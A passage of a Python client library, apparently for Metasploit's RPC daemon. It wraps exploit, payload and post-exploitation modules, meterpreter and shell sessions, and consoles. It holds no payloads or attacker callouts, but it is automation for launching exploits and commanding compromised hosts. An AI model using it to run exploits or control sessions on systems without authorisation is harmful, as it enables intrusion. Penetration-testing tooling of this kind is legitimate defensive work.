| Mandatory Arguments: 1401 | - item : the option name. 1402 | """ 1403 | if item not in self._moptions: 1404 | raise KeyError("Invalid option '%s'." % item) 1405 | return self._runopts.get(item) 1406 | 1407 | def __setitem__(self, key, value): 1408 | """ 1409 | Set the current option value. 1410 | 1411 | Mandatory Arguments: 1412 | - key : the option name. 1413 | - value : the option value. 1414 | """ 1415 | if key not in self.options: 1416 | raise KeyError("Invalid option '%s'." % key) 1417 | elif 'enums' in self._moptions[key] and value not in self._moptions[key]['enums']: 1418 | raise ValueError("Value ('%s') is not one of %s" % (value, repr(self._moptions[key]['enums']))) 1419 | elif self._moptions[key]['type'] == 'bool' and not isinstance(value, bool): 1420 | raise TypeError("Value must be a boolean not '%s'" % type(value).__name__) 1421 | elif self._moptions[key]['type'] in ['integer', 'float'] and not isinstance(value, Number): 1422 | raise TypeError("Value must be an integer not '%s'" % type(value).__name__) 1423 | self._runopts[key] = value 1424 | 1425 | def __delitem__(self, key): 1426 | del self._runopts[key] 1427 | 1428 | def __contains__(self, item): 1429 | return item in self._runopts 1430 | 1431 | def update(self, d): 1432 | """ 1433 | Update a set of options. 1434 | 1435 | Mandatory Arguments: 1436 | - d : a dictionary of options 1437 | """ 1438 | for k in d: 1439 | self[k] = d[k] 1440 | 1441 | def execute(self, **kwargs): 1442 | """ 1443 | Executes the module with its run options as parameters. 1444 | 1445 | Optional Keyword Arguments: 1446 | - payload : the payload of an exploit module (this is mandatory if the module is an exploit). 1447 | - **kwargs : can contain any module options. 1448 | """ 1449 | runopts = self.runoptions.copy() 1450 | if isinstance(self, ExploitModule): 1451 | payload = kwargs.get('payload') 1452 | runopts['TARGET'] = self.target 1453 | if payload is None: 1454 | runopts['DisablePayloadHandler'] = True 1455 | else: 1456 | if isinstance(payload, PayloadModule): 1457 | if payload.modulename not in self.payloads: 1458 | raise ValueError( 1459 | 'Invalid payload (%s) for given target (%d).' % (payload.modulename, self.target) 1460 | ) 1461 | runopts['PAYLOAD'] = payload.modulename 1462 | 1463 | for k, v in payload.runoptions.items(): 1464 | if v is None or (isinstance(v, str) and not v): 1465 | continue 1466 | if k not in runopts or runopts[k] is None or \ 1467 | (isinstance(runopts[k], str) and not runopts[k]): 1468 | runopts[k] = v 1469 | # runopts.update(payload.runoptions) 1470 | elif isinstance(payload, str): 1471 | if payload not in self.payloads: 1472 | raise ValueError('Invalid payload (%s) for given target (%d).' % (payload, self.target)) 1473 | runopts['PAYLOAD'] = payload 1474 | else: 1475 | raise TypeError("Expected type str or PayloadModule not '%s'" % type(kwargs['payload']).__name__) 1476 | 1477 | return self.rpc.call(MsfRpcMethod.ModuleExecute, self.moduletype, self.modulename, runopts) 1478 | 1479 | 1480 | class ExploitModule(MsfModule): 1481 | 1482 | def __init__(self, rpc, exploit): 1483 | """ 1484 | Initializes the use of an exploit module. 1485 | 1486 | Mandatory Arguments: 1487 | - rpc : the rpc client used to communicate with msfrpcd 1488 | - exploit : the name of the exploit module. 1489 | """ 1490 | super(ExploitModule, self).__init__(rpc, 'exploit', exploit) 1491 | self._target = self._info.get('default_target', 0) 1492 | 1493 | @property 1494 | def payloads(self): 1495 | """ 1496 | A list of compatible payloads. 1497 | """ 1498 | # return self.rpc.call(MsfRpcMethod.ModuleCompatiblePayloads, self.modulename)['payloads'] 1499 | return self.targetpayloads(self.target) 1500 | 1501 | @property 1502 | def target(self): 1503 | return self._target 1504 | 1505 | @target.setter 1506 | def target(self, target): 1507 | if target not in self.targets: 1508 | raise ValueError('Target must be one of %s' % repr(list(self.targets.keys()))) 1509 | self._target = target 1510 | 1511 | def targetpayloads(self, t=0): 1512 | """ 1513 | Returns a list of compatible payloads for a given target ID. 1514 | 1515 | Optional Keyword Arguments: 1516 | - t : the target ID (default: 0, e.g. 'Automatic') 1517 | """ 1518 | return self.rpc.call(MsfRpcMethod.ModuleTargetCompatiblePayloads, self.modulename, t)['payloads'] 1519 | 1520 | 1521 | class PostModule(MsfModule): 1522 | 1523 | def __init__(self, rpc, post): 1524 | """ 1525 | Initializes the use of a post exploitation module. 1526 | 1527 | Mandatory Arguments: 1528 | - rpc : the rpc client used to communicate with msfrpcd 1529 | - post : the name of the post exploitation module. 1530 | """ 1531 | super(PostModule, self).__init__(rpc, 'post', post) 1532 | 1533 | @property 1534 | def sessions(self): 1535 | """ 1536 | A list of compatible shell/meterpreter sessions. 1537 | """ 1538 | return self.rpc.compatiblesessions(self.modulename) 1539 | 1540 | 1541 | class EncoderModule(MsfModule): 1542 | 1543 | def __init__(self, rpc, encoder): 1544 | """ 1545 | Initializes the use of an encoder module. 1546 | 1547 | Mandatory Arguments: 1548 | - rpc : the rpc client used to communicate with msfrpcd 1549 | - encoder : the name of the encoder module. 1550 | """ 1551 | super(EncoderModule, self).__init__(rpc, 'encoder', encoder) 1552 | 1553 | 1554 | class AuxiliaryModule(MsfModule): 1555 | 1556 | def __init__(self, rpc, auxiliary): 1557 | """ 1558 | Initializes the use of an auxiliary module. 1559 | 1560 | Mandatory Arguments: 1561 | - rpc : the rpc client used to communicate with msfrpcd 1562 | - auxiliary : the name of the auxiliary module. 1563 | """ 1564 | super(AuxiliaryModule, self).__init__(rpc, 'auxiliary', auxiliary) 1565 | 1566 | 1567 | class PayloadModule(MsfModule): 1568 | 1569 | def __init__(self, rpc, payload): 1570 | """ 1571 | Initializes the use of a payload module. 1572 | 1573 | Mandatory Arguments: 1574 | - rpc : the rpc client used to communicate with msfrpcd 1575 | - payload : the name of the payload module. 1576 | """ 1577 | super(PayloadModule, self).__init__(rpc, 'payload', payload) 1578 | 1579 | 1580 | class NopModule(MsfModule): 1581 | 1582 | def __init__(self, rpc, nop): 1583 | """ 1584 | Initializes the use of a nop module. 1585 | 1586 | Mandatory Arguments: 1587 | - rpc : the rpc client used to communicate with msfrpcd 1588 | - nop : the name of the nop module. 1589 | """ 1590 | super(NopModule, self).__init__(rpc, 'nop', nop) 1591 | 1592 | 1593 | class ModuleManager(MsfManager): 1594 | 1595 | def execute(self, modtype, modname, **kwargs): 1596 | """ 1597 | Execute the module. 1598 | 1599 | Mandatory Arguments: 1600 | - modtype : the module type (e.g. 'exploit') 1601 | - modname : the module name (e.g. 'exploits/windows/http/icecast_header') 1602 | 1603 | Optional Keyword Arguments: 1604 | - **kwargs : the module's run options 1605 | """ 1606 | return self.rpc.call(MsfRpcMethod.ModuleExecute, modtype, modname, kwargs) 1607 | 1608 | @property 1609 | def exploits(self): 1610 | """ 1611 | A list of exploit modules. 1612 | """ 1613 | return self.rpc.call(MsfRpcMethod.ModuleExploits)['modules'] 1614 | 1615 | @property 1616 | def payloads(self): 1617 | """ 1618 | A list of payload modules. 1619 | """ 1620 | return self.rpc.call(MsfRpcMethod.ModulePayloads)['modules'] 1621 | 1622 | @property 1623 | def auxiliary(self): 1624 | """ 1625 | A list of auxiliary modules. 1626 | """ 1627 | return self.rpc.call(MsfRpcMethod.ModuleAuxiliary)['modules'] 1628 | 1629 | @property 1630 | def post(self): 1631 | """ 1632 | A list of post modules. 1633 | """ 1634 | return self.rpc.call(MsfRpcMethod.ModulePost)['modules'] 1635 | 1636 | @property 1637 | def encodeformats(self): 1638 | """ 1639 | A list of encoding formats. 1640 | """ 1641 | return self.rpc.call(MsfRpcMethod.ModuleEncodeFormats) 1642 | 1643 | @property 1644 | def encoders(self): 1645 | """ 1646 | A list of encoder modules. 1647 | """ 1648 | return self.rpc.call(MsfRpcMethod.ModuleEncoders)['modules'] 1649 | 1650 | @property 1651 | def nops(self): 1652 | """ 1653 | A list of nop modules. 1654 | """ 1655 | return self.rpc.call(MsfRpcMethod.ModuleNops)['modules'] 1656 | 1657 | def use(self, mtype, mname): 1658 | """ 1659 | Returns a module object. 1660 | 1661 | Mandatory Arguments: 1662 | - mname : the module name (e.g. 'exploits/windows/http/icecast_header') 1663 | """ 1664 | if mtype == 'exploit': 1665 | return ExploitModule(self.rpc, mname) 1666 | elif mtype == 'post': 1667 | return PostModule(self.rpc, mname) 1668 | elif mtype == 'encoder': 1669 | return EncoderModule(self.rpc, mname) 1670 | elif mtype == 'auxiliary': 1671 | return AuxiliaryModule(self.rpc, mname) 1672 | elif mtype == 'nop': 1673 | return NopModule(self.rpc, mname) 1674 | elif mtype == 'payload': 1675 | return PayloadModule(self.rpc, mname) 1676 | raise MsfRpcError('Unknown module type %s not: exploit, post, encoder, auxiliary, nop, or payload' % mname) 1677 | 1678 | 1679 | class MsfSession(object): 1680 | 1681 | def __init__(self, id, rpc, sd): 1682 | """ 1683 | Initialize a meterpreter or shell session. 1684 | 1685 | Mandatory Arguments: 1686 | - id : the session identifier. 1687 | - rpc : the msfrpc client object. 1688 | - sd : the session description 1689 | """ 1690 | self.id = id 1691 | self.rpc = rpc 1692 | self.__dict__.update(sd) 1693 | 1694 | def stop(self): 1695 | """ 1696 | Stop a meterpreter or shell session. 1697 | """ 1698 | return self.rpc.call(MsfRpcMethod.SessionStop, self.id) 1699 | 1700 | @property 1701 | def modules(self): 1702 | """ 1703 | A list of compatible session modules. 1704 | """ 1705 | return self.rpc.call(MsfRpcMethod.SessionCompatibleModules, self.id)['modules'] 1706 | 1707 | @property 1708 | def ring(self): 1709 | return SessionRing(self.rpc, self.id) 1710 | 1711 | 1712 | class SessionRing(object): 1713 | 1714 | def __init__(self, rpc, sessionid): 1715 | self.rpc = rpc 1716 | self.id = sessionid 1717 | 1718 | def read(self, seq=None): 1719 | """ 1720 | Reads the session ring. 1721 | 1722 | Optional Keyword Arguments: 1723 | - seq : the sequence ID of the ring (default: 0) 1724 | """ 1725 | if seq is not None: 1726 | return self.rpc.call(MsfRpcMethod.SessionRingRead, self.id, seq) 1727 | return self.rpc.call(MsfRpcMethod.SessionRingRead, self.id) 1728 | 1729 | def put(self, line): 1730 | """ 1731 | Add a command to the session history. 1732 | 1733 | Mandatory Arguments: 1734 | - line : arbitrary data. 1735 | """ 1736 | self.rpc.call(MsfRpcMethod.SessionRingPut, self.id, line) 1737 | 1738 | @property 1739 | def last(self): 1740 | """ 1741 | Returns the last sequence ID in the session ring. 1742 | """ 1743 | return int(self.rpc.call(MsfRpcMethod.SessionRingLast, self.id)['seq']) 1744 | 1745 | def clear(self): 1746 | """ 1747 | Clear the session ring. 1748 | """ 1749 | return self.rpc.call(MsfRpcMethod.SessionRingClear, self.id) 1750 | 1751 | 1752 | class MeterpreterSession(MsfSession): 1753 | 1754 | def read(self): 1755 | """ 1756 | Read data from the meterpreter session. 1757 | """ 1758 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterRead, self.id)['data'] 1759 | 1760 | def write(self, data): 1761 | """ 1762 | Write data to the meterpreter session. 1763 | 1764 | Mandatory Arguments: 1765 | - data : arbitrary data or commands 1766 | """ 1767 | self.rpc.call(MsfRpcMethod.SessionMeterpreterWrite, self.id, data) 1768 | 1769 | def runsingle(self, data): 1770 | """ 1771 | Run a single meterpreter command 1772 | 1773 | Mandatory Arguments: 1774 | - data : arbitrary data or command 1775 | """ 1776 | self.rpc.call(MsfRpcMethod.SessionMeterpreterRunSingle, self.id, data) 1777 | return self.read() 1778 | 1779 | def runscript(self, path): 1780 | """ 1781 | Run a meterpreter script 1782 | 1783 | Mandatory Arguments: 1784 | - path : path to a meterpreter script on the msfrpcd host. 1785 | """ 1786 | self.rpc.call(MsfRpcMethod.SessionMeterpreterScript, self.id, path) 1787 | return self.read() 1788 | 1789 | @property 1790 | def sep(self): 1791 | """ 1792 | The operating system path separator. 1793 | """ 1794 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterDirectorySeparator, self.id)['separator'] 1795 | 1796 | def detach(self): 1797 | """ 1798 | Detach the meterpreter session. 1799 | """ 1800 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterSessionDetach, self.id) 1801 | 1802 | def kill(self): 1803 | """ 1804 | Kill the meterpreter session. 1805 | """ 1806 | self.rpc.call(MsfRpcMethod.SessionMeterpreterSessionKill, self.id) 1807 | 1808 | def tabs(self, line): 1809 | """ 1810 | Return a list of commands for a partial command line (tab completion). 1811 | 1812 | Mandatory Arguments: 1813 | - line : a partial command line for completion. 1814 | """ 1815 | return self.rpc.call(MsfRpcMethod.SessionMeterpreterTabs, self.id, line)['tabs'] 1816 | 1817 | 1818 | class ShellSession(MsfSession): 1819 | 1820 | def read(self): 1821 | """ 1822 | Read data from the shell session. 1823 | """ 1824 | return self.rpc.call(MsfRpcMethod.SessionShellRead, self.id)['data'] 1825 | 1826 | def write(self, data): 1827 | """ 1828 | Write data to the shell session. 1829 | 1830 | Mandatory Arguments: 1831 | - data : arbitrary data or commands 1832 | """ 1833 | self.rpc.call(MsfRpcMethod.SessionShellWrite, self.id, data) 1834 | 1835 | def upgrade(self, lhost, lport): 1836 | """ 1837 | Upgrade the current shell session. 1838 | """ 1839 | self.rpc.call(MsfRpcMethod.SessionShellUpgrade, self.id, lhost, lport) 1840 | return self.read() 1841 | 1842 | 1843 | class SessionManager(MsfManager): 1844 | 1845 | @property 1846 | def list(self): 1847 | """ 1848 | A list of active sessions. 1849 | """ 1850 | return self.rpc.call(MsfRpcMethod.SessionList) 1851 | 1852 | def session(self, id): 1853 | """ 1854 | Returns a session object for meterpreter or shell sessions. 1855 | 1856 | Mandatory Arguments: 1857 | - id : the session identifier. 1858 | """ 1859 | s = self.list 1860 | if id not in s: 1861 | for k in s: 1862 | if s[k]['uuid'] == id: 1863 | if s[id]['type'] == 'meterpreter': 1864 | return MeterpreterSession(id, self.rpc, s) 1865 | elif s[id]['type'] == 'shell': 1866 | return ShellSession(id, self.rpc, s) 1867 | raise KeyError('Session ID (%s) does not exist' % id) 1868 | if s[id]['type'] == 'meterpreter': 1869 | return MeterpreterSession(id, self.rpc, s) 1870 | elif s[id]['type'] == 'shell': 1871 | return ShellSession(id, self.rpc, s) 1872 | raise NotImplementedError('Could not determine session type: %s' % s[id]['type']) 1873 | 1874 | 1875 | class MsfConsole(object): 1876 | 1877 | def __init__(self, rpc, cid=None): 1878 | """ 1879 | Initializes an msf console. 1880 | 1881 | Mandatory Arguments: 1882 | - rpc : the msfrpc client object. 1883 | 1884 | Optional Keyword Arguments: 1885 | - cid : the console identifier if it exists already otherwise a new one will be created. 1886 | """ 1887 | self.rpc = rpc 1888 | if cid is None: 1889 | r = self.rpc.call(MsfRpcMethod.ConsoleCreate) 1890 | if 'id' in r: 1891 | self.cid = r['id'] 1892 | else: 1893 | raise MsfRpcError('Unable to create a new console.') 1894 | else: 1895 | self.cid = cid 1896 | 1897 | def read(self): 1898 | """ 1899 | Read data from the console. 1900 | """ 1901 | return self.rpc.call(MsfRpcMethod.ConsoleRead, self.cid) 1902 | 1903 | def write(self, command): 1904 | """ 1905 | Write data to the console. 1906 | """ 1907 | if not command.endswith('\n'): 1908 | command += '\n' 1909 | self.rpc.call(MsfRpcMethod.ConsoleWrite, self.cid, command) 1910 | 1911 | def sessionkill(self): 1912 | """ 1913 | Kill all active meterpreter or shell sessions. 1914 | """ 1915 | self.rpc.call(MsfRpcMethod.ConsoleSessionKill, self.cid) 1916 | 1917 | def sessiondetach(self): 1918 | """ 1919 | Detach the current meterpreter or shell session. 1920 | """ 1921 | self.rpc.call(MsfRpcMethod.ConsoleSessionDetach, self.cid) 1922 | 1923 | def tabs(self, line): 1924 | """ 1925 | Tab completion for console commands. 1926 | 1927 | Mandatory Arguments: 1928 | - line : a partial command to be completed. 1929 | """ 1930 | return self.rpc.call(MsfRpcMethod.ConsoleTabs, self.cid, line)['tabs'] 1931 | 1932 | def destroy(self): 1933 | """ 1934 | Destroy the console. 1935 | """ 1936 | self.rpc.call(MsfRpcMethod.ConsoleDestroy, self.cid) 1937 | 1938 | 1939 | class ConsoleManager(MsfManager): 1940 | 1941 | @property 1942 | def list(self): 1943 | """ 1944 | A list of active consoles. 1945 | """ 1946 | return self.rpc.call(MsfRpcMethod.ConsoleList) 1947 | 1948 | def console(self, cid=None): 1949 | """ 1950 | Connect to an active console otherwise create a new console. 1951 | 1952 | Optional Keyword Arguments: 1953 | - cid : the console identifier. 1954 | """ 1955 | s = self.list 1956 | if cid is None: 1957 | return MsfConsole(self.rpc) 1958 | if cid not in s: 1959 | raise KeyError('Console ID (%s) does not exist' % cid) 1960 | else: 1961 | return MsfConsole(self.rpc, cid=cid) 1962 | 1963 | def destroy(self, cid): 1964 | """ 1965 | Destory an active console. 1966 | 1967 | Mandatory Arguments: 1968 | - cid : the console identifier. 1969 | """ 1970 | self.rpc.call(MsfRpcMethod.ConsoleDestroy, cid) 1971 | --------------------------------------------------------------------------------